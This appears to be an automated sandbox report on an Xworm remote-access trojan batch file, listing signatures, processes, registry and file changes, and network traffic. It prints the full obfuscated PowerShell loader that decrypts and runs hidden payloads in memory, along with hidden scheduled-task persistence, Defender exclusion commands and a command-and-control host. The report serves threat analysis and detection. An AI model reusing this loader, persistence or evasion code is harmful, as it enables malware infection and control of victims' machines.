Analysis Overview
SHA256
9f5f9ef41661f2867dc646b2979808a51a37e1c09a7e01a14d920c4b53a8ab9b
Threat Level: Known bad
The file XClient.bat was found to be: Known bad.
Malicious Activity Summary
Detect Xworm Payload
Xworm
Xworm family
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Checks computer location settings
Drops startup file
Deletes itself
Looks up external IP address via web service
Command and Scripting Interpreter: PowerShell
Adds Run key to start application
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-14 04:30
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-14 04:30
Reported
2024-11-14 04:33
Platform
win7-20240903-en
Max time kernel
120s
Max time network
122s
Command Line
Signatures
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1812 wrote to memory of 3052 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1812 wrote to memory of 3052 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1812 wrote to memory of 3052 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fWWVT9o7q7zlXGa6pNfiR9GKQf2wkDvKZLYeay8rOwg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TLAL1Gx+pBMDN+bpimtxdw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cwxDL=New-Object System.IO.MemoryStream(,$param_var); $klGUs=New-Object System.IO.MemoryStream; $ztGmD=New-Object System.IO.Compression.GZipStream($cwxDL, [IO.Compression.CompressionMode]::Decompress); $ztGmD.CopyTo($klGUs); $ztGmD.Dispose(); $cwxDL.Dispose(); $klGUs.Dispose(); $klGUs.ToArray();}function execute_function($param_var,$param2_var){ $iPgZA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Doivo=$iPgZA.EntryPoint; $Doivo.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$gFakL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($cSwQv in $gFakL) { if ($cSwQv.StartsWith(':: ')) { $dibCZ=$cSwQv.Substring(3); break; }}$payloads_var=[string[]]$dibCZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
Files
memory/3052-4-0x000007FEF5F5E000-0x000007FEF5F5F000-memory.dmp
memory/3052-5-0x000000001B5B0000-0x000000001B892000-memory.dmp
memory/3052-6-0x0000000002860000-0x0000000002868000-memory.dmp
memory/3052-8-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp
memory/3052-7-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp
memory/3052-9-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp
memory/3052-10-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp
memory/3052-11-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp
memory/3052-12-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-14 04:30
Reported
2024-11-14 04:31
Platform
win10v2004-20241007-en
Max time kernel
32s
Max time network
35s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Xworm family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemProcess.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemProcess.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemProcess = "C:\\ProgramData\\SystemProcess.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fWWVT9o7q7zlXGa6pNfiR9GKQf2wkDvKZLYeay8rOwg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TLAL1Gx+pBMDN+bpimtxdw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cwxDL=New-Object System.IO.MemoryStream(,$param_var); $klGUs=New-Object System.IO.MemoryStream; $ztGmD=New-Object System.IO.Compression.GZipStream($cwxDL, [IO.Compression.CompressionMode]::Decompress); $ztGmD.CopyTo($klGUs); $ztGmD.Dispose(); $cwxDL.Dispose(); $klGUs.Dispose(); $klGUs.ToArray();}function execute_function($param_var,$param2_var){ $iPgZA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Doivo=$iPgZA.EntryPoint; $Doivo.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$gFakL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($cSwQv in $gFakL) { if ($cSwQv.StartsWith(':: ')) { $dibCZ=$cSwQv.Substring(3); break; }}$payloads_var=[string[]]$dibCZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_838_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_838.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_838.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_838.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fWWVT9o7q7zlXGa6pNfiR9GKQf2wkDvKZLYeay8rOwg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TLAL1Gx+pBMDN+bpimtxdw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cwxDL=New-Object System.IO.MemoryStream(,$param_var); $klGUs=New-Object System.IO.MemoryStream; $ztGmD=New-Object System.IO.Compression.GZipStream($cwxDL, [IO.Compression.CompressionMode]::Decompress); $ztGmD.CopyTo($klGUs); $ztGmD.Dispose(); $cwxDL.Dispose(); $klGUs.Dispose(); $klGUs.ToArray();}function execute_function($param_var,$param2_var){ $iPgZA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Doivo=$iPgZA.EntryPoint; $Doivo.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_838.bat';$gFakL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_838.bat').Split([Environment]::NewLine);foreach ($cSwQv in $gFakL) { if ($cSwQv.StartsWith(':: ')) { $dibCZ=$cSwQv.Substring(3); break; }}$payloads_var=[string[]]$dibCZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\SystemProcess.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SystemProcess.exe'
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | travel-competitive.gl.at.ply.gg | udp |
| US | 147.185.221.23:44130 | travel-competitive.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
Files
memory/3104-0-0x00007FF81DCE3000-0x00007FF81DCE5000-memory.dmp
memory/3104-1-0x000001FFDA930000-0x000001FFDA952000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ieenu4xp.f3p.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3104-11-0x00007FF81DCE0000-0x00007FF81E7A1000-memory.dmp
memory/3104-12-0x00007FF81DCE0000-0x00007FF81E7A1000-memory.dmp
memory/3104-13-0x000001FFC27A0000-0x000001FFC27A8000-memory.dmp
memory/3104-14-0x000001FFDB4F0000-0x000001FFDB506000-memory.dmp
memory/5088-16-0x00007FF81DCE0000-0x00007FF81E7A1000-memory.dmp
memory/5088-17-0x00007FF81DCE0000-0x00007FF81E7A1000-memory.dmp
memory/5088-23-0x00007FF81DCE0000-0x00007FF81E7A1000-memory.dmp
memory/5088-30-0x00007FF81DCE0000-0x00007FF81E7A1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | f8d49a4af7a844bfc7247d5670def557 |
| SHA1 | 26ae0ce194a77a7a1887cf93741293fdfa6c94c4 |
| SHA256 | 61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b |
| SHA512 | 9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
C:\Users\Admin\AppData\Roaming\startup_str_838.vbs
| MD5 | 67c284ab0d17fce9b2cdb7a6d29a74ea |
| SHA1 | 2da397a7502e6198770b8157d886ca027fb77da6 |
| SHA256 | 1e5f622bcf9e15f76496d5f65982d5e15c423461c7fadf06445cee9ecff06ea8 |
| SHA512 | caba04f72846ade8d7f344560da555ac80a17c6e02f7c0a963dbb684cfd621cd7777224056d4b03eda9570c54bceafbddca3c73a4e6e5f32ad6e1cdf74ae6435 |
C:\Users\Admin\AppData\Roaming\startup_str_838.bat
| MD5 | 85858e630a760180cab51cc060f9b811 |
| SHA1 | a9bb8f891c1f6b0fa07f6119304cd3f8798cb1b8 |
| SHA256 | 9f5f9ef41661f2867dc646b2979808a51a37e1c09a7e01a14d920c4b53a8ab9b |
| SHA512 | 753864eecf3478a2f3f78a6743577c8aa81179664786730b0a3ad2ce8307451240a2186af9fb7522f0a1a0f99d6772eb52d684cc23a4c060c92ebfce43d59462 |
memory/1172-49-0x000001EBF7D50000-0x000001EBF7D6C000-memory.dmp
memory/3104-50-0x00007FF81DCE0000-0x00007FF81E7A1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 6d42b6da621e8df5674e26b799c8e2aa |
| SHA1 | ab3ce1327ea1eeedb987ec823d5e0cb146bafa48 |
| SHA256 | 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c |
| SHA512 | 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 83685d101174171875b4a603a6c2a35c |
| SHA1 | 37be24f7c4525e17fa18dbd004186be3a9209017 |
| SHA256 | 0c557845aab1da497bbff0e8fbe65cabf4cb2804b97ba8ae8c695a528af70870 |
| SHA512 | 005a97a8e07b1840abdcef86a7881fd9bdc8acbfdf3eafe1dceb6374060626d81d789e57d87ca4096a39e28d5cca00f8945edff0a747591691ae75873d2b3fb5 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | adf7f6ae391ed8c9bff0a86505dc35ee |
| SHA1 | 690e7f92eae6ad17bff280115ff9a160f1fe0cac |
| SHA256 | f968178a44a3aecf7d5c77fc0a474c97b32a7fb5f6e351d585557a23cf7e8d31 |
| SHA512 | af0e3eb76ab0fa51f196017e506c56b99887b21dfdcd790674164f1937086b94d60596ee65f79c412170b630447ad3aa3aff8ccadaf7ce3dfebec809a40de7a6 |